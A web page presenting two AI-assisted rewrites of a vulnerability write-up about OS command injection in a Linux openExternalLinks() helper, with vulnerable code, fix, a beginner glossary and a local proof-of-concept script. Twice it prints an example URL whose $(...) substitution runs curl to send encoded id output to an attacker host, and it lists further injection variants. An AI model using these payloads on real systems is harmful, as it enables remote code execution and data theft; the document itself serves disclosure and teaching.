Skip to content
RCE Write-up Intermediate

CVE-2026–115904 — OS Command Injection via `openExternalLinks()` in `utils.js`

The openExternalLinks() function in utils.js passed a user-supplied URL to child_process.exec() on Linux without shell escaping, allowing command substitution. An attacker could craft a URL that, when clicked, executed arbitrary OS commands as the desktop user.

VulnSVNC Follow

Published on vulnsvnc.medium.com

Cve 2026 115904

VulnSVNC, on vulnsvnc.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

CVE-2026-115904 is an OS command injection (CWE-78) in a JavaScript helper called openExternalLinks(url), defined in a file named utils.js. The function's job is to hand an external URL to the operating system so that the user's default browser or handler opens it. On Linux it does this by shelling out to xdg-open; on other platforms it delegates to an Electron-style shell.openExternal(url).

The vulnerable branch is the Linux one, guarded by process.platform === "linux". The attack vector is user interaction: the payload only fires when a user clicks a link that the application passes to this function. Any flow that renders a clickable external link (chat messages, link previews, notifications, an email client) can reach it.

The report records the following metadata:

Field Value
CVE ID CVE-2026-115904
Weakness OS Command Injection (CWE-78)
Affected component utils.js → openExternalLinks(url)
Affected platform Linux (process.platform === "linux" branch)
Attack vector child_process.exec call triggered through user interaction (link click)
CVSS 3.1 score 9.6 (Critical)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Status Patched (v2026.9.2410)
Discovery 23 September 2026
Vendor notification / CVE request 25 September 2026
Patch 25 September 2026 (v2026.9.2410)
Public disclosure 28 October 2026 (CVE/GHSA publication)

The report also notes that the CVE record's dateReserved field shows 23 October 2026, roughly a month after the 25 September request, which it attributes to processing time on the CNA (GitHub) side.

Setup

Reproduction requires a Linux host running an application that contains the vulnerable utils.js, plus an in-application flow that calls openExternalLinks() when the user clicks a link. The report's own PoC is deliberately isolated: it runs a controlled copy of the vulnerable function locally and uses only harmless commands (id, touch), without sending traffic to any external host. The proof is a file written to /tmp.

Finding it

The problem is visible in the Linux branch itself. The URL is parsed with new URL(url), which only checks that the string is a syntactically valid URL. The resulting URL object is then interpolated into a template string and handed to child_process.exec():

JavaScript
const openExternalLinks = (url) => {  if (process.platform === "linux") {    const newUrl = new URL(url);    require("child_process").exec(`xdg-open "${newUrl}"`);  } else {    shell.openExternal(url).catch(err => {      let safeUrl = url;      try {        const parsed = new URL(url);        safeUrl = parsed.hostname || url.substring(0, 30) + '...';      } catch(e) {}
JavaScript
      const customErr = new Error(`[openExternalLinks] Dış bağlantı açılamadı (Hedef: ${safeUrl}). Hata: ${err.message}`);      customErr.code = err.code;      throw customErr;    });  }};

There is no shell-safe escaping anywhere between the input and the command line. The URL sits inside double quotes, which looks like protection but is not: in a POSIX shell, double quotes suppress word splitting and glob expansion, but command substitution with backticks or $(...) stays active inside them. Because exec() runs the string through a shell (/bin/sh -c), anything the shell recognises as a substitution is evaluated before xdg-open is ever invoked.

Exploitation

Step 1: Confirm the sink

Run the application containing the vulnerable utils.js on Linux and locate the in-app flow that calls openExternalLinks(), for example clicking a link in a message or notification. That click is the only user interaction the attack needs.

Step 2: Inject a command-substitution URL

The report's example malicious URL is:

Text
http://attacker.example/$(curl$IFS-s$IFSsaldirgan.com/$(id|base64))

The $(...) block is command substitution: the shell executes its contents and substitutes the output. The inner $(id|base64) encodes the output of id, and curl sends it out. Spaces are avoided with $IFS, the shell's word-splitting separator variable, which terminates automatically when followed by a non-identifier character, so $IFS-s yields a space followed by -s.

Step 3: Use a harmless local proof

For an out-of-band-free proof the report uses:

Text
http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)

Here id runs and tee writes its output to /tmp/cve-2026-115904-poc.txt. The host x.invalid is irrelevant to the injection; the substitution fires while the shell parses the command line, before xdg-open runs.

Step 4: Run the isolated PoC

The report's poc.js reproduces the vulnerable function in isolation:

JavaScript
const { exec } = require("child_process");function openExternalLinks_VULNERABLE(url) {  if (process.platform === "linux") {    const newUrl = new URL(url);    exec(`xdg-open "${newUrl}"`, (err, stdout, stderr) => {      if (err) {        console.log("[*] xdg-open çalışmadı (beklenebilir, önemli değil):", err.message);      }    });  } else {    console.log("[!] Bu PoC yalnızca Linux dalını (process.platform === 'linux') hedefler.");    console.log("[!] macOS/Windows üzerinde xdg-open dalı tetiklenmez.");  }}const proofFile = "/tmp/cve-2026-115904-poc.txt";const maliciousUrl = `http://x.invalid/$(id|tee$IFS${proofFile})`;console.log("[*] CVE-2026-115904 PoC başlatılıyor...");console.log(`[*] Enjekte edilen URL: ${maliciousUrl}`);console.log(`[*] Beklenen kanıt dosyası: ${proofFile}`);openExternalLinks_VULNERABLE(maliciousUrl);setTimeout(() => {  const fs = require("fs");  if (fs.existsSync(proofFile)) {    const content = fs.readFileSync(proofFile, "utf8");    console.log("\n[+] BAŞARILI: Command injection doğrulandı!");    console.log(`[+] ${proofFile} içeriği:\n${content}`);  } else {    console.log("\n[-] Kanıt dosyası oluşmadı. Platform 'linux' mu kontrol edin, ya da setTimeout süresini artırın.");  }}, 1500);

The script builds the malicious URL, calls the vulnerable function, waits 1.5 seconds, then checks whether the proof file exists and prints its contents. The xdg-open failure callback is expected and explicitly treated as unimportant, because the injection has already happened by then.

Step 5: Verify the result

After the click, confirm that /tmp/cve-2026-115904-poc.txt exists and contains the output of id. The report's verified output from its own test environment is:

Text
[+] BAŞARILI: Command injection doğrulandı![+] /tmp/cve-2026-115904-poc.txt içeriği:uid=0(root) gid=0(root) groups=0(root)

That output shows the command ran as root in the test environment. Whether xdg-open itself succeeds is irrelevant: command substitution is evaluated during shell parsing, before xdg-open is called. Once execution is confirmed, the report suggests optionally demonstrating out-of-band exfiltration with a controlled listener, for example a curl request to your own server.

Root cause

  1. new URL(url) only validates that the URL is syntactically valid. It performs no filtering of shell metacharacters.
  2. The newUrl value (the toString() output of the URL object) is embedded directly into a template string as xdg-open "${newUrl}".
  3. child_process.exec() runs its command inside a shell (/bin/sh -c "..."). Double quotes do not neutralise every metacharacter: they block word splitting and glob (*) expansion, but command substitution (backticks and $(cmd)) remains active inside double quotes.
  4. Therefore, when url contains a command substitution, the command inside the parentheses runs before xdg-open is executed.

Node's WHATWG URL class percent-encodes some characters in the path, such as spaces, >, <, { and }, but it does not encode $, (, ), | or ;, so command substitution survives parsing. Payloads that need spaces use the $IFS technique described above.

Impact

Any flow that presents a user with a clickable external link and routes it through this function (chat message, notification, link preview and similar) lets an attacker deliver a crafted URL to the target. When the target clicks it on a Linux desktop client, the shell executes the $(...) block before xdg-open is called. The resulting RCE runs in the context of the user running the application, typically the desktop session user, and allows arbitrary command execution: data exfiltration, persistence (for example ~/.bashrc, crontab or autostart files), or a reverse shell.

User interaction (UI:R) is required, since the victim must click the link, so the risk is highest when combined with social engineering. The CVSS vector also marks scope as changed (S:C) and confidentiality, integrity and availability as high.

Fix

The report records a patch in v2026.9.2410 on 25 September 2026. Its recommended fix replaces exec with execFile, which passes arguments directly to the process without a shell, and adds a scheme allow-list: The report's recommended fix replaces exec with execFile, which passes arguments directly to the process without a shell, and adds a scheme allow-list:

JavaScript
const { execFile } = require("child_process");
JavaScript
const openExternalLinks = (url) => {  const parsed = new URL(url); // throws on invalid URL  if (!["http:", "https:"].includes(parsed.protocol)) {    throw new Error("Desteklenmeyen URL şeması");  }  if (process.platform === "linux") {    execFile("xdg-open", [parsed.toString()], (err) => {      if (err) {        // hata yönetimi      }    });  } else {    shell.openExternal(url).catch(err => { /* ... mevcut hata yönetimi ... */ });  }};

Using execFile instead of exec prevents the argument from passing through a shell at all. The allow-list restricting URLs to http/https is an additional layer that also prevents abuse of schemes such as file: and javascript:. The report notes that if exec must be kept, strict escaping with a library such as shell-quote plus a scheme allow-list should be added.

Variants to test

  • Backtick substitution. Replace $(...) with backticks in the URL path. A positive result is the same proof file or callback appearing, showing the filter (if any) only covers $(.
  • Other shell metacharacters. Try ;, | and newline characters in the path. A positive result is a second command running after or instead of xdg-open.
  • $IFS alternatives. Where spaces are needed, try ${IFS}, tab characters or other separators. A positive result is the payload executing without literal spaces.
  • Scheme abuse. Pass file:, javascript: or other non-HTTP schemes. A positive result is the handler opening a local file or executing script, which the allow-list in the fix is designed to block.
  • Non-Linux branches. Check whether the shell.openExternal path on macOS and Windows has its own injection or scheme-handling issues; the report's PoC only targets the Linux branch.
  • Other exec call sites. Search the codebase for child_process.exec with interpolated input. A positive result is any other command line where user-controlled data reaches the shell unescaped.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

A small helper function in a JavaScript file called utils.js was supposed to do one simple thing: when the user clicks a link that points outside the application, hand that link to the operating system so the default browser opens it. On Linux, the function did this by asking the system to run a command-line program called xdg-open, which is the standard Linux tool for "open this thing with whatever program is registered for it".

The problem is how it asked. It built a text command by pasting the link straight into it, then handed that whole text to a shell. A shell is the program that reads typed commands and runs them; it also understands special syntax like $(...), which means "run what is inside the brackets first, and put its output here". Because the link was pasted in without being neutralised, a link containing that special syntax made the shell run an extra command of the attacker's choosing.

The attack needs the victim to click a link, so it is not something that happens silently in the background. But any part of the application that shows a clickable external link, such as a chat message, a link preview, a notification or an email client, could carry the malicious link to the function.

The report records these details:

Field Value
CVE ID CVE-2026-115904
Weakness OS Command Injection (CWE-78)
Affected component utils.js → openExternalLinks(url)
Affected platform Linux (process.platform === "linux" branch)
Attack vector child_process.exec call triggered through user interaction (link click)
CVSS 3.1 score 9.6 (Critical)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Status Patched (v2026.9.2410)
Discovery 23 September 2026
Vendor notification / CVE request 25 September 2026
Patch 25 September 2026 (v2026.9.2410)
Public disclosure 28 October 2026 (CVE/GHSA publication)

A CVE is a public catalogue number for a known security flaw, so that everyone can refer to the same bug unambiguously. CWE-78 is the catalogue entry for this particular kind of mistake, command injection. CVSS is a scoring system that turns the characteristics of a bug into a number from 0 to 10; 9.6 is in the "Critical" band. The vector string is the recipe behind that number, and each part is explained in the glossary at the end.

The report also notes that the CVE record's dateReserved field shows 23 October 2026, roughly a month after the 25 September request, which it attributes to processing time on the CNA (GitHub) side. A CNA is an organisation authorised to assign CVE numbers; here it was GitHub.

Setting up a test

To reproduce the bug you need a Linux machine running an application that contains the vulnerable utils.js, plus some place in that application where clicking a link calls openExternalLinks(). The report's own proof of concept is deliberately isolated: instead of attacking a real application, it runs a controlled copy of the vulnerable function locally and uses only harmless commands (id, which prints who you are, and touch, which creates a file). Nothing is sent to any external host. The proof is simply a file written to /tmp, the temporary folder on Linux.

This is a good habit for anyone starting out: prove the bug with the smallest, safest possible demonstration before going further.

Finding it

The flaw is visible in the Linux branch of the function itself. The link is first parsed with new URL(url), which only checks that the text is a syntactically valid URL. The resulting URL object is then pasted into a template string and handed to child_process.exec():

JavaScript
const openExternalLinks = (url) => {  if (process.platform === "linux") {    const newUrl = new URL(url);    require("child_process").exec(`xdg-open "${newUrl}"`);  } else {    shell.openExternal(url).catch(err => {      let safeUrl = url;      try {        const parsed = new URL(url);        safeUrl = parsed.hostname || url.substring(0, 30) + '...';      } catch(e) {}
JavaScript
      const customErr = new Error(`[openExternalLinks] Dış bağlantı açılamadı (Hedef: ${safeUrl}). Hata: ${err.message}`);      customErr.code = err.code;      throw customErr;    });  }};

Line by line, in plain words:

  • const openExternalLinks = (url) => { defines a function that takes one input, the link (url).
  • if (process.platform === "linux") { asks the runtime which operating system it is on. Only the Linux path is the vulnerable one.
  • const newUrl = new URL(url); turns the text into a URL object. This checks the shape of the address, nothing more. It does not look for dangerous characters.
  • require("child_process").exec(...) loads Node's module for starting other programs and calls exec, which runs a command through a shell.
  • The backtick template builds the command text xdg-open "<the link>". The link is placed inside double quotes, which looks like protection but is not, as explained below.
  • The else branch is for macOS and Windows. It uses shell.openExternal(url) instead, and the rest of the block is error handling that builds a friendlier error message. The report's PoC only targets the Linux branch.

There is no shell-safe escaping anywhere between the input and the command line. The URL sits inside double quotes, which looks like protection but is not: in a POSIX shell, double quotes suppress word splitting and glob expansion, but command substitution with backticks or $(...) stays active inside them. Word splitting is the shell's habit of breaking a line into separate words at spaces; glob expansion is its habit of turning * into a list of matching file names. Double quotes switch those two behaviours off, but they do not switch off $(...). Because exec() runs the string through a shell (/bin/sh -c), anything the shell recognises as a substitution is evaluated before xdg-open is ever invoked.

Exploiting it

Step 1: Confirm the sink

Run the application containing the vulnerable utils.js on Linux and locate the in-app flow that calls openExternalLinks(), for example clicking a link in a message or notification. That click is the only user interaction the attack needs. In security language, the place where untrusted input finally gets used dangerously is called a sink; here the sink is the shell command line.

Step 2: Inject a command-substitution URL

The report's example malicious URL is:

Text
http://attacker.example/$(curl$IFS-s$IFSsaldirgan.com/$(id|base64))

The $(...) block is command substitution: the shell executes its contents and substitutes the output. The inner $(id|base64) encodes the output of id, and curl sends it out. curl is a command-line tool for making web requests, and base64 turns data into a text-only encoding that survives being put into a URL. Spaces are avoided with $IFS, the shell's word-splitting separator variable, which terminates automatically when followed by a non-identifier character, so $IFS-s yields a space followed by -s. The -s flag tells curl to stay quiet about progress.

Why bother with $IFS? Because a URL cannot easily contain a literal space, and the payload needs spaces between curl and its options. $IFS is a variable the shell already defines as "the characters that separate words", so writing it is a way of producing a space without typing one.

Step 3: Use a harmless local proof

For an out-of-band-free proof the report uses:

Text
http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)

Here id runs and tee writes its output to /tmp/cve-2026-115904-poc.txt. tee is a small program that copies its input both to the screen and to a file. The host x.invalid is irrelevant to the injection; the substitution fires while the shell parses the command line, before xdg-open runs. The .invalid ending is a reserved top-level domain that is guaranteed never to resolve, so nothing ever leaves the machine.

Step 4: Run the isolated PoC

The report's poc.js reproduces the vulnerable function in isolation:

JavaScript
const { exec } = require("child_process");function openExternalLinks_VULNERABLE(url) {  if (process.platform === "linux") {    const newUrl = new URL(url);    exec(`xdg-open "${newUrl}"`, (err, stdout, stderr) => {      if (err) {        console.log("[*] xdg-open çalışmadı (beklenebilir, önemli değil):", err.message);      }    });  } else {    console.log("[!] Bu PoC yalnızca Linux dalını (process.platform === 'linux') hedefler.");    console.log("[!] macOS/Windows üzerinde xdg-open dalı tetiklenmez.");  }}const proofFile = "/tmp/cve-2026-115904-poc.txt";const maliciousUrl = `http://x.invalid/$(id|tee$IFS${proofFile})`;console.log("[*] CVE-2026-115904 PoC başlatılıyor...");console.log(`[*] Enjekte edilen URL: ${maliciousUrl}`);console.log(`[*] Beklenen kanıt dosyası: ${proofFile}`);openExternalLinks_VULNERABLE(maliciousUrl);setTimeout(() => {  const fs = require("fs");  if (fs.existsSync(proofFile)) {    const content = fs.readFileSync(proofFile, "utf8");    console.log("\n[+] BAŞARILI: Command injection doğrulandı!");    console.log(`[+] ${proofFile} içeriği:\n${content}`);  } else {    console.log("\n[-] Kanıt dosyası oluşmadı. Platform 'linux' mu kontrol edin, ya da setTimeout süresini artırın.");  }}, 1500);

Line by line:

  • const { exec } = require("child_process"); pulls in the same exec function the real code uses.
  • function openExternalLinks_VULNERABLE(url) { is a copy of the vulnerable function, renamed so it is clear this is a test.
  • if (process.platform === "linux") { keeps the Linux-only behaviour.
  • const newUrl = new URL(url); parses the link exactly as the real code does.
  • exec(xdg-open "${newUrl}", (err, stdout, stderr) => { builds the same command text and runs it through a shell. The callback receives any error and the command's output.
  • if (err) { console.log(...) } prints a message if xdg-open failed. The message itself says this is expected and not important, because the injection has already happened by then.
  • The else branch prints a note that the PoC only targets Linux.
  • const proofFile = "/tmp/cve-2026-115904-poc.txt"; names the file that will prove the command ran.
  • const maliciousUrl = http://x.invalid/$(id|tee$IFS${proofFile}); builds the malicious link, inserting the proof file path.
  • The three console.log lines print what is about to happen, so the output is easy to follow.
  • openExternalLinks_VULNERABLE(maliciousUrl); triggers the vulnerable function.
  • setTimeout(() => { ... }, 1500); waits 1.5 seconds so the shell has time to finish, then runs the check.
  • Inside the timeout, fs.existsSync(proofFile) asks whether the proof file exists. If it does, fs.readFileSync reads it and the script prints the success message and the file's contents. If not, it prints a failure message suggesting you check the platform or increase the timeout.

Step 5: Verify the result

After the click, confirm that /tmp/cve-2026-115904-poc.txt exists and contains the output of id. The report's verified output from its own test environment is:

Text
[+] BAŞARILI: Command injection doğrulandı![+] /tmp/cve-2026-115904-poc.txt içeriği:uid=0(root) gid=0(root) groups=0(root)

That output shows the command ran as root in the test environment. uid=0 means user ID zero, which on Linux is the all-powerful administrator account. Whether xdg-open itself succeeds is irrelevant: command substitution is evaluated during shell parsing, before xdg-open is called. Once execution is confirmed, the report suggests optionally demonstrating out-of-band exfiltration with a controlled listener, for example a curl request to your own server. Out-of-band means the proof arrives by a different route than the one you are watching, such as a request hitting a server you control.

Root cause

  1. new URL(url) only validates that the URL is syntactically valid. It performs no filtering of shell metacharacters. Metacharacters are characters that mean something special to the shell, such as $, (, ), | and ;.
  2. The newUrl value (the toString() output of the URL object) is embedded directly into a template string as xdg-open "${newUrl}".
  3. child_process.exec() runs its command inside a shell (/bin/sh -c "..."). Double quotes do not neutralise every metacharacter: they block word splitting and glob (*) expansion, but command substitution (backticks and $(cmd)) remains active inside double quotes.
  4. Therefore, when url contains a command substitution, the command inside the parentheses runs before xdg-open is executed.

Node's WHATWG URL class percent-encodes some characters in the path, such as spaces, >, <, { and }, but it does not encode $, (, ), | or ;, so command substitution survives parsing. Percent-encoding is the way URLs represent awkward characters as % followed by two hex digits, for example %20 for a space. Payloads that need spaces use the $IFS technique described above.

Impact

Any flow that presents a user with a clickable external link and routes it through this function (chat message, notification, link preview and similar) lets an attacker deliver a crafted URL to the target. When the target clicks it on a Linux desktop client, the shell executes the $(...) block before xdg-open is called. The resulting RCE runs in the context of the user running the application, typically the desktop session user, and allows arbitrary command execution: data exfiltration, persistence (for example ~/.bashrc, crontab or autostart files), or a reverse shell.

RCE stands for remote code execution: an attacker gets their own commands to run on someone else's machine. Persistence means arranging for the attacker's access to survive a reboot, for example by adding a line to ~/.bashrc (a file the shell reads every time it starts), to the crontab (the list of scheduled jobs) or to autostart files. A reverse shell is a connection where the victim's machine reaches out to the attacker and then hands over a command prompt, which often slips past firewalls because it looks like an outgoing connection.

User interaction (UI:R) is required, since the victim must click the link, so the risk is highest when combined with social engineering. The CVSS vector also marks scope as changed (S:C) and confidentiality, integrity and availability as high. Social engineering means manipulating a person rather than a machine, for example by making a link look trustworthy.

Fix

The report records a patch in v2026.9.2410 on 25 September 2026. Its recommended fix replaces exec with execFile, which passes arguments directly to the process without a shell, and adds a scheme allow-list: The report's recommended fix replaces exec with execFile, which passes arguments directly to the process without a shell, and adds a scheme allow-list:

JavaScript
const { execFile } = require("child_process");
JavaScript
const openExternalLinks = (url) => {  const parsed = new URL(url); // throws on invalid URL  if (!["http:", "https:"].includes(parsed.protocol)) {    throw new Error("Desteklenmeyen URL şeması");  }  if (process.platform === "linux") {    execFile("xdg-open", [parsed.toString()], (err) => {      if (err) {        // hata yönetimi      }    });  } else {    shell.openExternal(url).catch(err => { /* ... mevcut hata yönetimi ... */ });  }};

Line by line:

  • const { execFile } = require("child_process"); imports execFile instead of exec.
  • const openExternalLinks = (url) => { defines the fixed function.
  • const parsed = new URL(url); parses the link, and the comment notes it throws on an invalid URL.
  • if (!["http:", "https:"].includes(parsed.protocol)) { checks the scheme, the part before the colon such as http:. If it is anything else, the next line throws an error saying the URL scheme is not supported.
  • execFile("xdg-open", [parsed.toString()], (err) => { runs xdg-open with the link as a separate argument. No shell is involved, so $(...) has no meaning to anything.
  • The else branch keeps the existing shell.openExternal behaviour for other platforms.

Using execFile instead of exec prevents the argument from passing through a shell at all. The allow-list restricting URLs to http/https is an additional layer that also prevents abuse of schemes such as file: and javascript:. A scheme allow-list means only named schemes are accepted and everything else is refused. The report notes that if exec must be kept, strict escaping with a library such as shell-quote plus a scheme allow-list should be added.

Variants to test

  • Backtick substitution. Replace $(...) with backticks in the URL path. A positive result is the same proof file or callback appearing, showing the filter (if any) only covers $(. Backticks are the older way of writing command substitution in a shell.
  • Other shell metacharacters. Try ;, | and newline characters in the path. A positive result is a second command running after or instead of xdg-open.
  • $IFS alternatives. Where spaces are needed, try ${IFS}, tab characters or other separators. A positive result is the payload executing without literal spaces.
  • Scheme abuse. Pass file:, javascript: or other non-HTTP schemes. A positive result is the handler opening a local file or executing script, which the allow-list in the fix is designed to block.
  • Non-Linux branches. Check whether the shell.openExternal path on macOS and Windows has its own injection or scheme-handling issues; the report's PoC only targets the Linux branch.
  • Other exec call sites. Search the codebase for child_process.exec with interpolated input. A positive result is any other command line where user-controlled data reaches the shell unescaped.

Glossary

  • CVE: a public catalogue number for a known security flaw, so everyone can refer to the same bug unambiguously.
  • CWE-78: the catalogue entry for OS command injection, the mistake where user input is interpreted as operating-system commands.
  • OS command injection: a bug where text supplied by a user ends up being run as an operating-system command.
  • CVSS: a scoring system that turns the characteristics of a bug into a number from 0 to 10.
  • CVSS vector: the string of letters and colons that records which characteristics produced the score.
  • CNA: an organisation authorised to assign CVE numbers.
  • Shell: the program that reads commands and runs them, and that understands special syntax such as $(...).
  • xdg-open: the standard Linux command that opens a file or URL with whatever program is registered for it.
  • child_process.exec: a Node.js function that runs a command through a shell.
  • child_process.execFile: a Node.js function that runs a program directly, without a shell.
  • Template string: JavaScript text written with backticks, where ${...} inserts a value.
  • Command substitution: shell syntax, $(...) or backticks, that runs the contents and puts the output in place.
  • Metacharacter: a character that means something special to the shell, such as $, (, ), | or ;.
  • Word splitting: the shell's habit of breaking a line into separate words at spaces.
  • Glob expansion: the shell's habit of turning * into a list of matching file names.
  • $IFS: a shell variable holding the characters that separate words, often used to produce a space without typing one.
  • Percent-encoding: the way URLs represent awkward characters as % followed by two hex digits, for example %20 for a space.
  • Sink: the place where untrusted input finally gets used dangerously.
  • PoC: proof of concept, a small demonstration that a bug is real.
  • RCE: remote code execution, an attacker getting their own commands to run on someone else's machine.
  • Persistence: arranging for an attacker's access to survive a reboot.
  • Reverse shell: a connection where the victim's machine reaches out to the attacker and hands over a command prompt.
  • Out-of-band: a proof that arrives by a different route than the one you are watching, such as a request to a server you control.
  • Social engineering: manipulating a person rather than a machine, for example by making a link look trustworthy.
  • Scheme allow-list: accepting only named URL schemes, such as http and https, and refusing everything else.
  • tee: a small program that copies its input both to the screen and to a file.
  • curl: a command-line tool for making web requests.
  • base64: an encoding that turns data into text-only characters that survive being put into a URL.
  • /tmp: the temporary folder on Linux.
  • uid=0: user ID zero, the all-powerful administrator account on Linux.
  • ~/.bashrc: a file the shell reads every time it starts, often used for persistence.
  • crontab: the list of scheduled jobs on a Linux system.
  • shell-quote: a library for escaping text so a shell treats it as plain data.

More by VulnSVNC

View all

3 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.